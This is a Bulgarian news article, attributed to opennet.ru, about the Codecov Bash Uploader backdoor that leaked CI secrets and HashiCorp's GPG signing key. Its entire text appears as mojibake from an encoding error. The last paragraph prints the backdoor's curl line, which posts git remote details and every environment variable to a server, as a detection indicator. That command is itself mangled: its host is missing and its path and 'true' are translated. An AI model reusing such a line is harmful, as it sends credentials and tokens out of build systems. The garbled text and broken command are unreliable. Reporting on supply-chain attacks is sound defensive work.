Π’ΡŠΠ²Π΅ΠΆΠ΄Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ ΠΊΠΎΠ΄ Π² скрипта Codecov Π΄ΠΎΠ²Π΅Π΄Π΅ Π΄ΠΎ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Π½Π΅ Π½Π° PGP ΠΊΠ»ΡŽΡ‡Π° Π½Π° HashiCorp

HashiCorp, извСстна с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° инструмСнтитС с ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ ΠΊΠΎΠ΄ Vagrant, Packer, Nomad ΠΈ Terraform, обяви ΠΈΠ·Ρ‚ΠΈΡ‡Π°Π½Π΅Ρ‚ΠΎ Π½Π° частния GPG ΠΊΠ»ΡŽΡ‡, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° създаванС Π½Π° Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΈ подписи, ΠΊΠΎΠΈΡ‚ΠΎ провСряват вСрсиитС. НападатСлитС, ΠΊΠΎΠΈΡ‚ΠΎ са ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ GPG ΠΊΠ»ΡŽΡ‡Π°, Π±ΠΈΡ…Π° ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»Π½ΠΎ Π΄Π° направят скрити ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ Π² ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΡ‚Π΅ Π½Π° HashiCorp, ΠΊΠ°Ρ‚ΠΎ Π³ΠΈ провСрят с ΠΏΡ€Π°Π²ΠΈΠ»Π΅Π½ Ρ†ΠΈΡ„Ρ€ΠΎΠ² подпис. Π’ ΡΡŠΡ‰ΠΎΡ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅ компанията заяви, Ρ‡Π΅ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° ΠΎΠ΄ΠΈΡ‚Π° Π½Π΅ са установСни слСди ΠΎΡ‚ ΠΎΠΏΠΈΡ‚ΠΈ Π·Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅ Π½Π° ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.

ΠŸΠΎΠ½Π°ΡΡ‚ΠΎΡΡ‰Π΅ΠΌ компромСтираният GPG ΠΊΠ»ΡŽΡ‡ Π΅ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ ΠΈ Π½Π° Π½Π΅Π³ΠΎΠ²ΠΎ място Π΅ въвСдСн Π½ΠΎΠ² ΠΊΠ»ΡŽΡ‡. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ засяга само ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ SHA256SUM ΠΈ SHA256SUM.sig ΠΈ Π½Π΅ засяга Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΈ подписи Π·Π° Linux DEB ΠΈ RPM ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ, доставСни Ρ‡Ρ€Π΅Π· releases.hashicorp.com, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈΡ‚Π΅ Π·Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° вСрсиитС Π·Π° macOS ΠΈ Windows (AuthentiCode) .

Π’Π΅Ρ‡ΡŠΡ‚ Π΅ възникнал ΠΏΠΎΡ€Π°Π΄ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° скрипта Codecov Bash Uploader (codecov-bash) Π² инфраструктурата, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ Π·Π° изтСглянС Π½Π° ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΈ Π·Π° ΠΏΠΎΠΊΡ€ΠΈΡ‚ΠΈΠ΅ ΠΎΡ‚ систСми Π·Π° Π½Π΅ΠΏΡ€Π΅ΠΊΡŠΡΠ½Π°Ρ‚Π° интСграция. По Π²Ρ€Π΅ΠΌΠ΅ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° срСщу компанията Codecov Π² посочСния скрипт Π΅ скрита Π·Π°Π΄Π½Π° Π²Ρ€Π°Ρ‚Π°, Ρ‡Ρ€Π΅Π· която ΠΏΠ°Ρ€ΠΎΠ»ΠΈΡ‚Π΅ ΠΈ ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π΅Ρ‚Π΅ Π·Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅ са ΠΈΠ·ΠΏΡ€Π°Ρ‚Π΅Π½ΠΈ Π΄ΠΎ ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅.

Π—Π° Π΄Π° Ρ…Π°ΠΊΠ½Π°Ρ‚, Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ сС Π²ΡŠΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ…Π° ΠΎΡ‚ Π³Ρ€Π΅ΡˆΠΊΠ° Π² процСса Π½Π° създаванС Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ Codecov Docker, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΈΠΌ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈ Π΄Π° ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ Π΄Π°Π½Π½ΠΈ Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ GCS (Google Cloud Storage), Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈ Π·Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅ Π½Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ Π² скрипта Bash Uploader, разпространяван ΠΎΡ‚ codecov.io уСбсайт. ΠŸΡ€ΠΎΠΌΠ΅Π½ΠΈΡ‚Π΅ бяха Π½Π°ΠΏΡ€Π°Π²Π΅Π½ΠΈ Π½Π° 31 януари, останаха нСзабСлязани Π² ΠΏΡ€ΠΎΠ΄ΡŠΠ»ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° Π΄Π²Π° мСсСца ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ…Π° Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π΄Π° ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ информация, ΡΡŠΡ…Ρ€Π°Π½ΡΠ²Π°Π½Π° Π² срСдитС Π½Π° систСмата Π·Π° Π½Π΅ΠΏΡ€Π΅ΠΊΡŠΡΠ½Π°Ρ‚Π° интСграция Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°. Използвайки добавСния Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π΅Π½ ΠΊΠΎΠ΄, Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π±ΠΈΡ…Π° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ информация Π·Π° тСстваното Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Π½Π° Git ΠΈ всички ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ Π½Π° срСдата, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ Ρ‚ΠΎΠΊΠ΅Π½ΠΈ, ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π΅ Π·Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, ΠΏΡ€Π΅Π΄Π°Π΄Π΅Π½ΠΈ Π½Π° систСми Π·Π° Π½Π΅ΠΏΡ€Π΅ΠΊΡŠΡΠ½Π°Ρ‚Π° интСграция, Π·Π° Π΄Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Ρ‚ Π΄ΠΎΡΡ‚ΡŠΠΏΠ° Π΄ΠΎ ΠΊΠΎΠ΄Π° Π½Π° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ, Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Ρ‚Π° ΠΈ услугитС ΠΊΠ°Ρ‚ΠΎ Amazon Web Services ΠΈ GitHub.

Π’ допълнСниС към Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎΡ‚ΠΎ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅, ΡΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ Codecov Bash Uploader Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ ΠΊΠ°Ρ‚ΠΎ част ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈ Π·Π° ΠΊΠ°Ρ‡Π²Π°Π½Π΅, ΠΊΠ°Ρ‚ΠΎ Codecov-action (Github), Codecov-circleci-orb ΠΈ Codecov-bitrise-step, Ρ‡ΠΈΠΈΡ‚ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ ΡΡŠΡ‰ΠΎ са засСгнати ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°. На всички ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π½Π° codecov-bash ΠΈ ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ сС ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΡ‡Π²Π° Π΄Π° ΠΎΠ΄ΠΈΡ‚ΠΈΡ€Π°Ρ‚ своитС инфраструктури, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ Π΄Π° промСнят ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΈ ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π΅ Π·Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚Π΅ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅Ρ‚ΠΎ Π½Π° Π·Π°Π΄Π½Π° Π²Ρ€Π°Ρ‚Π° Π² скрипт Ρ‡Ρ€Π΅Π· Π½Π°Π»ΠΈΡ‡ΠΈΠ΅Ρ‚ΠΎ Π½Π° Ρ€Π΅Π΄Π° curl -sm 0.5 -d β€œ$(git remote -v)<<<<<< ENV $(env)” http:// /ΠΊΠ°Ρ‡Π²Π°Π½Π΅/v2 || вярно

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€